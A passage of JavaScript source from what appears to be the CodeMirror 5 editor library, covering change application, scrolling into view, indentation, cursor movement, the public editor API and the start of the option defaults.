    if (change.from.line > doc.lastLine()) return;

    // Clip the change to the size of this doc
    if (change.from.line < doc.first) {
      var shift = change.text.length - 1 - (doc.first - change.from.line);
      shiftDoc(doc, shift);
      change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift, change.to.ch),
                text: [lst(change.text)], origin: change.origin};
    }
    var last = doc.lastLine();
    if (change.to.line > last) {
      change = {from: change.from, to: Pos(last, getLine(doc, last).text.length),
                text: [change.text[0]], origin: change.origin};
    }

    change.removed = getBetween(doc, change.from, change.to);

    if (!selAfter) selAfter = computeSelAfterChange(doc, change);
    if (doc.cm) makeChangeSingleDocInEditor(doc.cm, change, spans);
    else updateDoc(doc, change, spans);
    setSelectionNoUndo(doc, selAfter, sel_dontScroll);
  }

  // Handle the interaction of a change to a document with the editor
  // that this document is part of.
  function makeChangeSingleDocInEditor(cm, change, spans) {
    var doc = cm.doc, display = cm.display, from = change.from, to = change.to;

    var recomputeMaxLength = false, checkWidthStart = from.line;
    if (!cm.options.lineWrapping) {
      checkWidthStart = lineNo(visualLine(getLine(doc, from.line)));
      doc.iter(checkWidthStart, to.line + 1, function(line) {
        if (line == display.maxLine) {
          recomputeMaxLength = true;
          return true;
        }
      });
    }

    if (doc.sel.contains(change.from, change.to) > -1)
      signalCursorActivity(cm);

    updateDoc(doc, change, spans, estimateHeight(cm));

    if (!cm.options.lineWrapping) {
      doc.iter(checkWidthStart, from.line + change.text.length, function(line) {
        var len = lineLength(line);
        if (len > display.maxLineLength) {
          display.maxLine = line;
          display.maxLineLength = len;
          display.maxLineChanged = true;
          recomputeMaxLength = false;
        }
      });
      if (recomputeMaxLength) cm.curOp.updateMaxLine = true;
    }

    // Adjust frontier, schedule worker
    doc.frontier = Math.min(doc.frontier, from.line);
    startWorker(cm, 400);

    var lendiff = change.text.length - (to.line - from.line) - 1;
    // Remember that these lines changed, for updating the display
    if (change.full)
      regChange(cm);
    else if (from.line == to.line && change.text.length == 1 && !isWholeLineUpdate(cm.doc, change))
      regLineChange(cm, from.line, "text");
    else
      regChange(cm, from.line, to.line + 1, lendiff);

    var changesHandler = hasHandler(cm, "changes"), changeHandler = hasHandler(cm, "change");
    if (changeHandler || changesHandler) {
      var obj = {
        from: from, to: to,
        text: change.text,
        removed: change.removed,
        origin: change.origin
      };
      if (changeHandler) signalLater(cm, "change", cm, obj);
      if (changesHandler) (cm.curOp.changeObjs || (cm.curOp.changeObjs = [])).push(obj);
    }
    cm.display.selForContextMenu = null;
  }

  function replaceRange(doc, code, from, to, origin) {
    if (!to) to = from;
    if (cmp(to, from) < 0) { var tmp = to; to = from; from = tmp; }
    if (typeof code == "string") code = doc.splitLines(code);
    makeChange(doc, {from: from, to: to, text: code, origin: origin});
  }

  // SCROLLING THINGS INTO VIEW

  // If an editor sits on the top or bottom of the window, partially
  // scrolled out of view, this ensures that the cursor is visible.
  function maybeScrollWindow(cm, coords) {
    if (signalDOMEvent(cm, "scrollCursorIntoView")) return;

    var display = cm.display, box = display.sizer.getBoundingClientRect(), doScroll = null;
    if (coords.top + box.top < 0) doScroll = true;
    else if (coords.bottom + box.top > (window.innerHeight || document.documentElement.clientHeight)) doScroll = false;
    if (doScroll != null && !phantom) {
      var scrollNode = elt("div", "\u200b", null, "position: absolute; top: " +
                           (coords.top - display.viewOffset - paddingTop(cm.display)) + "px; height: " +
                           (coords.bottom - coords.top + scrollGap(cm) + display.barHeight) + "px; left: " +
                           coords.left + "px; width: 2px;");
      cm.display.lineSpace.appendChild(scrollNode);
      scrollNode.scrollIntoView(doScroll);
      cm.display.lineSpace.removeChild(scrollNode);
    }
  }

  // Scroll a given position into view (immediately), verifying that
  // it actually became visible (as line heights are accurately
  // measured, the position of something may 'drift' during drawing).
  function scrollPosIntoView(cm, pos, end, margin) {
    if (margin == null) margin = 0;
    for (var limit = 0; limit < 5; limit++) {
      var changed = false, coords = cursorCoords(cm, pos);
      var endCoords = !end || end == pos ? coords : cursorCoords(cm, end);
      var scrollPos = calculateScrollPos(cm, Math.min(coords.left, endCoords.left),
                                         Math.min(coords.top, endCoords.top) - margin,
                                         Math.max(coords.left, endCoords.left),
                                         Math.max(coords.bottom, endCoords.bottom) + margin);
      var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft;
      if (scrollPos.scrollTop != null) {
        setScrollTop(cm, scrollPos.scrollTop);
        if (Math.abs(cm.doc.scrollTop - startTop) > 1) changed = true;
      }
      if (scrollPos.scrollLeft != null) {
        setScrollLeft(cm, scrollPos.scrollLeft);
        if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) changed = true;
      }
      if (!changed) break;
    }
    return coords;
  }

  // Scroll a given set of coordinates into view (immediately).
  function scrollIntoView(cm, x1, y1, x2, y2) {
    var scrollPos = calculateScrollPos(cm, x1, y1, x2, y2);
    if (scrollPos.scrollTop != null) setScrollTop(cm, scrollPos.scrollTop);
    if (scrollPos.scrollLeft != null) setScrollLeft(cm, scrollPos.scrollLeft);
  }

  // Calculate a new scroll position needed to scroll the given
  // rectangle into view. Returns an object with scrollTop and
  // scrollLeft properties. When these are undefined, the
  // vertical/horizontal position does not need to be adjusted.
  function calculateScrollPos(cm, x1, y1, x2, y2) {
    var display = cm.display, snapMargin = textHeight(cm.display);
    if (y1 < 0) y1 = 0;
    var screentop = cm.curOp && cm.curOp.scrollTop != null ? cm.curOp.scrollTop : display.scroller.scrollTop;
    var screen = displayHeight(cm), result = {};
    if (y2 - y1 > screen) y2 = y1 + screen;
    var docBottom = cm.doc.height + paddingVert(display);
    var atTop = y1 < snapMargin, atBottom = y2 > docBottom - snapMargin;
    if (y1 < screentop) {
      result.scrollTop = atTop ? 0 : y1;
    } else if (y2 > screentop + screen) {
      var newTop = Math.min(y1, (atBottom ? docBottom : y2) - screen);
      if (newTop != screentop) result.scrollTop = newTop;
    }

    var screenleft = cm.curOp && cm.curOp.scrollLeft != null ? cm.curOp.scrollLeft : display.scroller.scrollLeft;
    var screenw = displayWidth(cm) - (cm.options.fixedGutter ? display.gutters.offsetWidth : 0);
    var tooWide = x2 - x1 > screenw;
    if (tooWide) x2 = x1 + screenw;
    if (x1 < 10)
      result.scrollLeft = 0;
    else if (x1 < screenleft)
      result.scrollLeft = Math.max(0, x1 - (tooWide ? 0 : 10));
    else if (x2 > screenw + screenleft - 3)
      result.scrollLeft = x2 + (tooWide ? 0 : 10) - screenw;
    return result;
  }

  // Store a relative adjustment to the scroll position in the current
  // operation (to be applied when the operation finishes).
  function addToScrollPos(cm, left, top) {
    if (left != null || top != null) resolveScrollToPos(cm);
    if (left != null)
      cm.curOp.scrollLeft = (cm.curOp.scrollLeft == null ? cm.doc.scrollLeft : cm.curOp.scrollLeft) + left;
    if (top != null)
      cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop : cm.curOp.scrollTop) + top;
  }

  // Make sure that at the end of the operation the current cursor is
  // shown.
  function ensureCursorVisible(cm) {
    resolveScrollToPos(cm);
    var cur = cm.getCursor(), from = cur, to = cur;
    if (!cm.options.lineWrapping) {
      from = cur.ch ? Pos(cur.line, cur.ch - 1) : cur;
      to = Pos(cur.line, cur.ch + 1);
    }
    cm.curOp.scrollToPos = {from: from, to: to, margin: cm.options.cursorScrollMargin, isCursor: true};
  }

  // When an operation has its scrollToPos property set, and another
  // scroll action is applied before the end of the operation, this
  // 'simulates' scrolling that position into view in a cheap way, so
  // that the effect of intermediate scroll commands is not ignored.
  function resolveScrollToPos(cm) {
    var range = cm.curOp.scrollToPos;
    if (range) {
      cm.curOp.scrollToPos = null;
      var from = estimateCoords(cm, range.from), to = estimateCoords(cm, range.to);
      var sPos = calculateScrollPos(cm, Math.min(from.left, to.left),
                                    Math.min(from.top, to.top) - range.margin,
                                    Math.max(from.right, to.right),
                                    Math.max(from.bottom, to.bottom) + range.margin);
      cm.scrollTo(sPos.scrollLeft, sPos.scrollTop);
    }
  }

  // API UTILITIES

  // Indent the given line. The how parameter can be "smart",
  // "add"/null, "subtract", or "prev". When aggressive is false
  // (typically set to true for forced single-line indents), empty
  // lines are not indented, and places where the mode returns Pass
  // are left alone.
  function indentLine(cm, n, how, aggressive) {
    var doc = cm.doc, state;
    if (how == null) how = "add";
    if (how == "smart") {
      // Fall back to "prev" when the mode doesn't have an indentation
      // method.
      if (!doc.mode.indent) how = "prev";
      else state = getStateBefore(cm, n);
    }

    var tabSize = cm.options.tabSize;
    var line = getLine(doc, n), curSpace = countColumn(line.text, null, tabSize);
    if (line.stateAfter) line.stateAfter = null;
    var curSpaceString = line.text.match(/^\s*/)[0], indentation;
    if (!aggressive && !/\S/.test(line.text)) {
      indentation = 0;
      how = "not";
    } else if (how == "smart") {
      indentation = doc.mode.indent(state, line.text.slice(curSpaceString.length), line.text);
      if (indentation == Pass || indentation > 150) {
        if (!aggressive) return;
        how = "prev";
      }
    }
    if (how == "prev") {
      if (n > doc.first) indentation = countColumn(getLine(doc, n-1).text, null, tabSize);
      else indentation = 0;
    } else if (how == "add") {
      indentation = curSpace + cm.options.indentUnit;
    } else if (how == "subtract") {
      indentation = curSpace - cm.options.indentUnit;
    } else if (typeof how == "number") {
      indentation = curSpace + how;
    }
    indentation = Math.max(0, indentation);

    var indentString = "", pos = 0;
    if (cm.options.indentWithTabs)
      for (var i = Math.floor(indentation / tabSize); i; --i) {pos += tabSize; indentString += "\t";}
    if (pos < indentation) indentString += spaceStr(indentation - pos);

    if (indentString != curSpaceString) {
      replaceRange(doc, indentString, Pos(n, 0), Pos(n, curSpaceString.length), "+input");
      line.stateAfter = null;
      return true;
    } else {
      // Ensure that, if the cursor was in the whitespace at the start
      // of the line, it is moved to the end of that space.
      for (var i = 0; i < doc.sel.ranges.length; i++) {
        var range = doc.sel.ranges[i];
        if (range.head.line == n && range.head.ch < curSpaceString.length) {
          var pos = Pos(n, curSpaceString.length);
          replaceOneSelection(doc, i, new Range(pos, pos));
          break;
        }
      }
    }
  }

  // Utility for applying a change to a line by handle or number,
  // returning the number and optionally registering the line as
  // changed.
  function changeLine(doc, handle, changeType, op) {
    var no = handle, line = handle;
    if (typeof handle == "number") line = getLine(doc, clipLine(doc, handle));
    else no = lineNo(handle);
    if (no == null) return null;
    if (op(line, no) && doc.cm) regLineChange(doc.cm, no, changeType);
    return line;
  }

  // Helper for deleting text near the selection(s), used to implement
  // backspace, delete, and similar functionality.
  function deleteNearSelection(cm, compute) {
    var ranges = cm.doc.sel.ranges, kill = [];
    // Build up a set of ranges to kill first, merging overlapping
    // ranges.
    for (var i = 0; i < ranges.length; i++) {
      var toKill = compute(ranges[i]);
      while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) {
        var replaced = kill.pop();
        if (cmp(replaced.from, toKill.from) < 0) {
          toKill.from = replaced.from;
          break;
        }
      }
      kill.push(toKill);
    }
    // Next, remove those actual ranges.
    runInOp(cm, function() {
      for (var i = kill.length - 1; i >= 0; i--)
        replaceRange(cm.doc, "", kill[i].from, kill[i].to, "+delete");
      ensureCursorVisible(cm);
    });
  }

  // Used for horizontal relative motion. Dir is -1 or 1 (left or
  // right), unit can be "char", "column" (like char, but doesn't
  // cross line boundaries), "word" (across next word), or "group" (to
  // the start of next group of word or non-word-non-whitespace
  // chars). The visually param controls whether, in right-to-left
  // text, direction 1 means to move towards the next index in the
  // string, or towards the character to the right of the current
  // position. The resulting position will have a hitSide=true
  // property if it reached the end of the document.
  function findPosH(doc, pos, dir, unit, visually) {
    var line = pos.line, ch = pos.ch, origDir = dir;
    var lineObj = getLine(doc, line);
    var possible = true;
    function findNextLine() {
      var l = line + dir;
      if (l < doc.first || l >= doc.first + doc.size) return (possible = false);
      line = l;
      return lineObj = getLine(doc, l);
    }
    function moveOnce(boundToLine) {
      var next = (visually ? moveVisually : moveLogically)(lineObj, ch, dir, true);
      if (next == null) {
        if (!boundToLine && findNextLine()) {
          if (visually) ch = (dir < 0 ? lineRight : lineLeft)(lineObj);
          else ch = dir < 0 ? lineObj.text.length : 0;
        } else return (possible = false);
      } else ch = next;
      return true;
    }

    if (unit == "char") moveOnce();
    else if (unit == "column") moveOnce(true);
    else if (unit == "word" || unit == "group") {
      var sawType = null, group = unit == "group";
      var helper = doc.cm && doc.cm.getHelper(pos, "wordChars");
      for (var first = true;; first = false) {
        if (dir < 0 && !moveOnce(!first)) break;
        var cur = lineObj.text.charAt(ch) || "\n";
        var type = isWordChar(cur, helper) ? "w"
          : group && cur == "\n" ? "n"
          : !group || /\s/.test(cur) ? null
          : "p";
        if (group && !first && !type) type = "s";
        if (sawType && sawType != type) {
          if (dir < 0) {dir = 1; moveOnce();}
          break;
        }

        if (type) sawType = type;
        if (dir > 0 && !moveOnce(!first)) break;
      }
    }
    var result = skipAtomic(doc, Pos(line, ch), origDir, true);
    if (!possible) result.hitSide = true;
    return result;
  }

  // For relative vertical movement. Dir may be -1 or 1. Unit can be
  // "page" or "line". The resulting position will have a hitSide=true
  // property if it reached the end of the document.
  function findPosV(cm, pos, dir, unit) {
    var doc = cm.doc, x = pos.left, y;
    if (unit == "page") {
      var pageSize = Math.min(cm.display.wrapper.clientHeight, window.innerHeight || document.documentElement.clientHeight);
      y = pos.top + dir * (pageSize - (dir < 0 ? 1.5 : .5) * textHeight(cm.display));
    } else if (unit == "line") {
      y = dir > 0 ? pos.bottom + 3 : pos.top - 3;
    }
    for (;;) {
      var target = coordsChar(cm, x, y);
      if (!target.outside) break;
      if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide = true; break; }
      y += dir * 5;
    }
    return target;
  }

  // EDITOR METHODS

  // The publicly visible API. Note that methodOp(f) means
  // 'wrap f in an operation, performed on its `this` parameter'.

  // This is not the complete set of editor methods. Most of the
  // methods defined on the Doc type are also injected into
  // CodeMirror.prototype, for backwards compatibility and
  // convenience.

  CodeMirror.prototype = {
    constructor: CodeMirror,
    focus: function(){window.focus(); this.display.input.focus();},

    setOption: function(option, value) {
      var options = this.options, old = options[option];
      if (options[option] == value && option != "mode") return;
      options[option] = value;
      if (optionHandlers.hasOwnProperty(option))
        operation(this, optionHandlers[option])(this, value, old);
    },

    getOption: function(option) {return this.options[option];},
    getDoc: function() {return this.doc;},

    addKeyMap: function(map, bottom) {
      this.state.keyMaps[bottom ? "push" : "unshift"](getKeyMap(map));
    },
    removeKeyMap: function(map) {
      var maps = this.state.keyMaps;
      for (var i = 0; i < maps.length; ++i)
        if (maps[i] == map || maps[i].name == map) {
          maps.splice(i, 1);
          return true;
        }
    },

    addOverlay: methodOp(function(spec, options) {
      var mode = spec.token ? spec : CodeMirror.getMode(this.options, spec);
      if (mode.startState) throw new Error("Overlays may not be stateful.");
      this.state.overlays.push({mode: mode, modeSpec: spec, opaque: options && options.opaque});
      this.state.modeGen++;
      regChange(this);
    }),
    removeOverlay: methodOp(function(spec) {
      var overlays = this.state.overlays;
      for (var i = 0; i < overlays.length; ++i) {
        var cur = overlays[i].modeSpec;
        if (cur == spec || typeof spec == "string" && cur.name == spec) {
          overlays.splice(i, 1);
          this.state.modeGen++;
          regChange(this);
          return;
        }
      }
    }),

    indentLine: methodOp(function(n, dir, aggressive) {
      if (typeof dir != "string" && typeof dir != "number") {
        if (dir == null) dir = this.options.smartIndent ? "smart" : "prev";
        else dir = dir ? "add" : "subtract";
      }
      if (isLine(this.doc, n)) indentLine(this, n, dir, aggressive);
    }),
    indentSelection: methodOp(function(how) {
      var ranges = this.doc.sel.ranges, end = -1;
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (!range.empty()) {
          var from = range.from(), to = range.to();
          var start = Math.max(end, from.line);
          end = Math.min(this.lastLine(), to.line - (to.ch ? 0 : 1)) + 1;
          for (var j = start; j < end; ++j)
            indentLine(this, j, how);
          var newRanges = this.doc.sel.ranges;
          if (from.ch == 0 && ranges.length == newRanges.length && newRanges[i].from().ch > 0)
            replaceOneSelection(this.doc, i, new Range(from, newRanges[i].to()), sel_dontScroll);
        } else if (range.head.line > end) {
          indentLine(this, range.head.line, how, true);
          end = range.head.line;
          if (i == this.doc.sel.primIndex) ensureCursorVisible(this);
        }
      }
    }),

    // Fetch the parser token for a given character. Useful for hacks
    // that want to inspect the mode state (say, for completion).
    getTokenAt: function(pos, precise) {
      return takeToken(this, pos, precise);
    },

    getLineTokens: function(line, precise) {
      return takeToken(this, Pos(line), precise, true);
    },

    getTokenTypeAt: function(pos) {
      pos = clipPos(this.doc, pos);
      var styles = getLineStyles(this, getLine(this.doc, pos.line));
      var before = 0, after = (styles.length - 1) / 2, ch = pos.ch;
      var type;
      if (ch == 0) type = styles[2];
      else for (;;) {
        var mid = (before + after) >> 1;
        if ((mid ? styles[mid * 2 - 1] : 0) >= ch) after = mid;
        else if (styles[mid * 2 + 1] < ch) before = mid + 1;
        else { type = styles[mid * 2 + 2]; break; }
      }
      var cut = type ? type.indexOf("cm-overlay ") : -1;
      return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1);
    },

    getModeAt: function(pos) {
      var mode = this.doc.mode;
      if (!mode.innerMode) return mode;
      return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode;
    },

    getHelper: function(pos, type) {
      return this.getHelpers(pos, type)[0];
    },

    getHelpers: function(pos, type) {
      var found = [];
      if (!helpers.hasOwnProperty(type)) return found;
      var help = helpers[type], mode = this.getModeAt(pos);
      if (typeof mode[type] == "string") {
        if (help[mode[type]]) found.push(help[mode[type]]);
      } else if (mode[type]) {
        for (var i = 0; i < mode[type].length; i++) {
          var val = help[mode[type][i]];
          if (val) found.push(val);
        }
      } else if (mode.helperType && help[mode.helperType]) {
        found.push(help[mode.helperType]);
      } else if (help[mode.name]) {
        found.push(help[mode.name]);
      }
      for (var i = 0; i < help._global.length; i++) {
        var cur = help._global[i];
        if (cur.pred(mode, this) && indexOf(found, cur.val) == -1)
          found.push(cur.val);
      }
      return found;
    },

    getStateAfter: function(line, precise) {
      var doc = this.doc;
      line = clipLine(doc, line == null ? doc.first + doc.size - 1: line);
      return getStateBefore(this, line + 1, precise);
    },

    cursorCoords: function(start, mode) {
      var pos, range = this.doc.sel.primary();
      if (start == null) pos = range.head;
      else if (typeof start == "object") pos = clipPos(this.doc, start);
      else pos = start ? range.from() : range.to();
      return cursorCoords(this, pos, mode || "page");
    },

    charCoords: function(pos, mode) {
      return charCoords(this, clipPos(this.doc, pos), mode || "page");
    },

    coordsChar: function(coords, mode) {
      coords = fromCoordSystem(this, coords, mode || "page");
      return coordsChar(this, coords.left, coords.top);
    },

    lineAtHeight: function(height, mode) {
      height = fromCoordSystem(this, {top: height, left: 0}, mode || "page").top;
      return lineAtHeight(this.doc, height + this.display.viewOffset);
    },
    heightAtLine: function(line, mode) {
      var end = false, lineObj;
      if (typeof line == "number") {
        var last = this.doc.first + this.doc.size - 1;
        if (line < this.doc.first) line = this.doc.first;
        else if (line > last) { line = last; end = true; }
        lineObj = getLine(this.doc, line);
      } else {
        lineObj = line;
      }
      return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode || "page").top +
        (end ? this.doc.height - heightAtLine(lineObj) : 0);
    },

    defaultTextHeight: function() { return textHeight(this.display); },
    defaultCharWidth: function() { return charWidth(this.display); },

    setGutterMarker: methodOp(function(line, gutterID, value) {
      return changeLine(this.doc, line, "gutter", function(line) {
        var markers = line.gutterMarkers || (line.gutterMarkers = {});
        markers[gutterID] = value;
        if (!value && isEmpty(markers)) line.gutterMarkers = null;
        return true;
      });
    }),

    clearGutter: methodOp(function(gutterID) {
      var cm = this, doc = cm.doc, i = doc.first;
      doc.iter(function(line) {
        if (line.gutterMarkers && line.gutterMarkers[gutterID]) {
          line.gutterMarkers[gutterID] = null;
          regLineChange(cm, i, "gutter");
          if (isEmpty(line.gutterMarkers)) line.gutterMarkers = null;
        }
        ++i;
      });
    }),

    lineInfo: function(line) {
      if (typeof line == "number") {
        if (!isLine(this.doc, line)) return null;
        var n = line;
        line = getLine(this.doc, line);
        if (!line) return null;
      } else {
        var n = lineNo(line);
        if (n == null) return null;
      }
      return {line: n, handle: line, text: line.text, gutterMarkers: line.gutterMarkers,
              textClass: line.textClass, bgClass: line.bgClass, wrapClass: line.wrapClass,
              widgets: line.widgets};
    },

    getViewport: function() { return {from: this.display.viewFrom, to: this.display.viewTo};},

    addWidget: function(pos, node, scroll, vert, horiz) {
      var display = this.display;
      pos = cursorCoords(this, clipPos(this.doc, pos));
      var top = pos.bottom, left = pos.left;
      node.style.position = "absolute";
      node.setAttribute("cm-ignore-events", "true");
      this.display.input.setUneditable(node);
      display.sizer.appendChild(node);
      if (vert == "over") {
        top = pos.top;
      } else if (vert == "above" || vert == "near") {
        var vspace = Math.max(display.wrapper.clientHeight, this.doc.height),
        hspace = Math.max(display.sizer.clientWidth, display.lineSpace.clientWidth);
        // Default to positioning above (if specified and possible); otherwise default to positioning below
        if ((vert == 'above' || pos.bottom + node.offsetHeight > vspace) && pos.top > node.offsetHeight)
          top = pos.top - node.offsetHeight;
        else if (pos.bottom + node.offsetHeight <= vspace)
          top = pos.bottom;
        if (left + node.offsetWidth > hspace)
          left = hspace - node.offsetWidth;
      }
      node.style.top = top + "px";
      node.style.left = node.style.right = "";
      if (horiz == "right") {
        left = display.sizer.clientWidth - node.offsetWidth;
        node.style.right = "0px";
      } else {
        if (horiz == "left") left = 0;
        else if (horiz == "middle") left = (display.sizer.clientWidth - node.offsetWidth) / 2;
        node.style.left = left + "px";
      }
      if (scroll)
        scrollIntoView(this, left, top, left + node.offsetWidth, top + node.offsetHeight);
    },

    triggerOnKeyDown: methodOp(onKeyDown),
    triggerOnKeyPress: methodOp(onKeyPress),
    triggerOnKeyUp: onKeyUp,

    execCommand: function(cmd) {
      if (commands.hasOwnProperty(cmd))
        return commands[cmd].call(null, this);
    },

    triggerElectric: methodOp(function(text) { triggerElectric(this, text); }),

    findPosH: function(from, amount, unit, visually) {
      var dir = 1;
      if (amount < 0) { dir = -1; amount = -amount; }
      for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {
        cur = findPosH(this.doc, cur, dir, unit, visually);
        if (cur.hitSide) break;
      }
      return cur;
    },

    moveH: methodOp(function(dir, unit) {
      var cm = this;
      cm.extendSelectionsBy(function(range) {
        if (cm.display.shift || cm.doc.extend || range.empty())
          return findPosH(cm.doc, range.head, dir, unit, cm.options.rtlMoveVisually);
        else
          return dir < 0 ? range.from() : range.to();
      }, sel_move);
    }),

    deleteH: methodOp(function(dir, unit) {
      var sel = this.doc.sel, doc = this.doc;
      if (sel.somethingSelected())
        doc.replaceSelection("", null, "+delete");
      else
        deleteNearSelection(this, function(range) {
          var other = findPosH(doc, range.head, dir, unit, false);
          return dir < 0 ? {from: other, to: range.head} : {from: range.head, to: other};
        });
    }),

    findPosV: function(from, amount, unit, goalColumn) {
      var dir = 1, x = goalColumn;
      if (amount < 0) { dir = -1; amount = -amount; }
      for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {
        var coords = cursorCoords(this, cur, "div");
        if (x == null) x = coords.left;
        else coords.left = x;
        cur = findPosV(this, coords, dir, unit);
        if (cur.hitSide) break;
      }
      return cur;
    },

    moveV: methodOp(function(dir, unit) {
      var cm = this, doc = this.doc, goals = [];
      var collapse = !cm.display.shift && !doc.extend && doc.sel.somethingSelected();
      doc.extendSelectionsBy(function(range) {
        if (collapse)
          return dir < 0 ? range.from() : range.to();
        var headPos = cursorCoords(cm, range.head, "div");
        if (range.goalColumn != null) headPos.left = range.goalColumn;
        goals.push(headPos.left);
        var pos = findPosV(cm, headPos, dir, unit);
        if (unit == "page" && range == doc.sel.primary())
          addToScrollPos(cm, null, charCoords(cm, pos, "div").top - headPos.top);
        return pos;
      }, sel_move);
      if (goals.length) for (var i = 0; i < doc.sel.ranges.length; i++)
        doc.sel.ranges[i].goalColumn = goals[i];
    }),

    // Find the word at the given position (as returned by coordsChar).
    findWordAt: function(pos) {
      var doc = this.doc, line = getLine(doc, pos.line).text;
      var start = pos.ch, end = pos.ch;
      if (line) {
        var helper = this.getHelper(pos, "wordChars");
        if ((pos.xRel < 0 || end == line.length) && start) --start; else ++end;
        var startChar = line.charAt(start);
        var check = isWordChar(startChar, helper)
          ? function(ch) { return isWordChar(ch, helper); }
          : /\s/.test(startChar) ? function(ch) {return /\s/.test(ch);}
          : function(ch) {return !/\s/.test(ch) && !isWordChar(ch);};
        while (start > 0 && check(line.charAt(start - 1))) --start;
        while (end < line.length && check(line.charAt(end))) ++end;
      }
      return new Range(Pos(pos.line, start), Pos(pos.line, end));
    },

    toggleOverwrite: function(value) {
      if (value != null && value == this.state.overwrite) return;
      if (this.state.overwrite = !this.state.overwrite)
        addClass(this.display.cursorDiv, "CodeMirror-overwrite");
      else
        rmClass(this.display.cursorDiv, "CodeMirror-overwrite");

      signal(this, "overwriteToggle", this, this.state.overwrite);
    },
    hasFocus: function() { return this.display.input.getField() == activeElt(); },

    scrollTo: methodOp(function(x, y) {
      if (x != null || y != null) resolveScrollToPos(this);
      if (x != null) this.curOp.scrollLeft = x;
      if (y != null) this.curOp.scrollTop = y;
    }),
    getScrollInfo: function() {
      var scroller = this.display.scroller;
      return {left: scroller.scrollLeft, top: scroller.scrollTop,
              height: scroller.scrollHeight - scrollGap(this) - this.display.barHeight,
              width: scroller.scrollWidth - scrollGap(this) - this.display.barWidth,
              clientHeight: displayHeight(this), clientWidth: displayWidth(this)};
    },

    scrollIntoView: methodOp(function(range, margin) {
      if (range == null) {
        range = {from: this.doc.sel.primary().head, to: null};
        if (margin == null) margin = this.options.cursorScrollMargin;
      } else if (typeof range == "number") {
        range = {from: Pos(range, 0), to: null};
      } else if (range.from == null) {
        range = {from: range, to: null};
      }
      if (!range.to) range.to = range.from;
      range.margin = margin || 0;

      if (range.from.line != null) {
        resolveScrollToPos(this);
        this.curOp.scrollToPos = range;
      } else {
        var sPos = calculateScrollPos(this, Math.min(range.from.left, range.to.left),
                                      Math.min(range.from.top, range.to.top) - range.margin,
                                      Math.max(range.from.right, range.to.right),
                                      Math.max(range.from.bottom, range.to.bottom) + range.margin);
        this.scrollTo(sPos.scrollLeft, sPos.scrollTop);
      }
    }),

    setSize: methodOp(function(width, height) {
      var cm = this;
      function interpret(val) {
        return typeof val == "number" || /^\d+$/.test(String(val)) ? val + "px" : val;
      }
      if (width != null) cm.display.wrapper.style.width = interpret(width);
      if (height != null) cm.display.wrapper.style.height = interpret(height);
      if (cm.options.lineWrapping) clearLineMeasurementCache(this);
      var lineNo = cm.display.viewFrom;
      cm.doc.iter(lineNo, cm.display.viewTo, function(line) {
        if (line.widgets) for (var i = 0; i < line.widgets.length; i++)
          if (line.widgets[i].noHScroll) { regLineChange(cm, lineNo, "widget"); break; }
        ++lineNo;
      });
      cm.curOp.forceUpdate = true;
      signal(cm, "refresh", this);
    }),

    operation: function(f){return runInOp(this, f);},

    refresh: methodOp(function() {
      var oldHeight = this.display.cachedTextHeight;
      regChange(this);
      this.curOp.forceUpdate = true;
      clearCaches(this);
      this.scrollTo(this.doc.scrollLeft, this.doc.scrollTop);
      updateGutterSpace(this);
      if (oldHeight == null || Math.abs(oldHeight - textHeight(this.display)) > .5)
        estimateLineHeights(this);
      signal(this, "refresh", this);
    }),

    swapDoc: methodOp(function(doc) {
      var old = this.doc;
      old.cm = null;
      attachDoc(this, doc);
      clearCaches(this);
      this.display.input.reset();
      this.scrollTo(doc.scrollLeft, doc.scrollTop);
      this.curOp.forceScroll = true;
      signalLater(this, "swapDoc", this, old);
      return old;
    }),

    getInputField: function(){return this.display.input.getField();},
    getWrapperElement: function(){return this.display.wrapper;},
    getScrollerElement: function(){return this.display.scroller;},
    getGutterElement: function(){return this.display.gutters;}
  };
  eventMixin(CodeMirror);

  // OPTION DEFAULTS

  // The default configuration options.
  var defaults = CodeMirror.defaults = {};
  // Functions to run when options are changed.
  var optionHandlers = CodeMirror.optionHandlers = {};

  function option(name, deflt, handle, notOnInit) {
    CodeMirror.defaults[name] = deflt;
    if (handle) optionHandlers[name] =
      notOnInit ? function(cm, val, old) {if (old != Init) handle(cm, val, old);} : handle;
  }

  // Passed to option handlers when there is no old value.
  var Init = CodeMirror.Init = {toString: function(){return "CodeMirror.Init";}};

  // These two are, on init, called from the constructor because they
  // have to be initialized before the editor can start at all.
  option("value", "", function(cm, val) {
    cm.setValue(val);
  }, true);
  option("mode", null, function(cm, val) {
    cm.doc.modeOption = val;
    loadMode(cm);
  }, true);

  option("indentUnit", 2, loadMode, true);
  option("indentWithTabs", false);
  option("smartIndent", true);
  option("tabSize", 4, function(cm) {
    resetModeState(cm);
    clearCaches(cm);
    regChange(cm);
  }, true);
  option("lineSeparator", null, function(cm, val) {
    cm.doc.lineSep = val;
    if (!val) return;
    var newBreaks = [], lineNo = cm.doc.first;
    cm.doc.iter(function(line) {
      for (var pos = 0;;) {
        var found = line.text.indexOf(val, pos);
        if (found == -1) break;
        pos = found + val.length;
        newBreaks.push(Pos(lineNo, found));
      }
      lineNo++;
    });
    for (var i = newBreaks.length - 1; i >= 0; i--)
      replaceRange(cm.doc, val, newBreaks[i], Pos(newBreaks[i].line, newBreaks[i].ch + val.length))
  });
  option("specialChars", /[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g, function(cm, val, old) {
    cm.state.specialChars = new RegExp(val.source + (val.test("\t") ? "" : "|\t"), "g");
    if (old != CodeMirror.Init) cm.refresh();
  });
  option("specialCharPlaceholder", defaultSpecialCharPlaceholder, function(cm) {cm.refresh();}, true);
  option("electricChars", true);
  option("inputStyle", mobile ? "contenteditable" : "textarea", function() {
    throw new Error("inputStyle can not (yet) be changed in a running editor"); // FIXME
  }, true);
  option("rtlMoveVisually", !windows);
  option("wholeLineUpdateBefore", true);

  option("theme", "default", function(cm) {
    themeChanged(cm);
    guttersChanged(cm);
